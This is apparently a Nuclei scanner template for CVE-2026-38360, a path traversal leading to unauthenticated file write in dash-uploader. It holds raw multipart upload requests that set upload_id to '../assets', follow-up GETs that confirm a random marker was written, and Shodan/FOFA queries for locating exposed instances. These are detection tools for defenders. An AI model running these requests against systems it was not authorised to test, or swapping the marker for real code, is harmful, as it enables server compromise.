dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal

id: CVE-2026-38360

info:
  name: dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal
  author: a1ohadance
  severity: critical
  description: |
   fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.
  impact: |
   Remote attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
   Update to the latest version beyond v0.7.0a2.
  reference:
    - https://github.com/a1ohadance/CVE-2026-38360
    - https://nvd.nist.gov/vuln/detail/CVE-2026-38360
    - https://github.com/advisories/GHSA-3rf6-x59v-5jfv
    - https://github.com/fohrloop/dash-uploader/issues/153
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-38360
    epss-score: 0.06142
    epss-percentile: 0.93387
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 4
    vendor: fohrloop
    product: dash-uploader
    shodan-query: html:"_dash-undo-redo"
    fofa-query: body="_dash-undo-redo"
  tags: cve,cve2026,dash-uploader,path-traversal,file-write,unauth,python

variables:
  marker: "{{rand_base(16)}}"
  filename: "nuclei_{{rand_base(8)}}.txt"
  boundary: "----nuclei{{rand_base(16)}}"

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - raw:
      - |
        POST /API/dash-uploader HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="flowChunkNumber"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="flowChunkSize"

        1048576
        --{{boundary}}
        Content-Disposition: form-data; name="flowCurrentChunkSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="flowTotalSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="flowIdentifier"

        nuclei-{{rand_base(8)}}
        --{{boundary}}
        Content-Disposition: form-data; name="flowFilename"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="flowRelativePath"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="flowTotalChunks"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="upload_id"

        ../assets
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{marker}}
        --{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
        internal: true
        condition: and

  - raw:
      - |
        GET /assets/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, marker)'
        condition: and

  - raw:
      - |
        POST /API/resumable HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="resumableChunkNumber"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="resumableChunkSize"

        1048576
        --{{boundary}}
        Content-Disposition: form-data; name="resumableCurrentChunkSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="resumableTotalSize"

        16
        --{{boundary}}
        Content-Disposition: form-data; name="resumableIdentifier"

        nuclei-{{rand_base(8)}}
        --{{boundary}}
        Content-Disposition: form-data; name="resumableFilename"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="resumableRelativePath"

        {{filename}}
        --{{boundary}}
        Content-Disposition: form-data; name="resumableTotalChunks"

        1
        --{{boundary}}
        Content-Disposition: form-data; name="upload_id"

        ../assets
        --{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}"
        Content-Type: application/octet-stream

        {{marker}}
        --{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, filename)'
        internal: true
        condition: and

  - raw:
      - |
        GET /assets/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, marker)'
        condition: and
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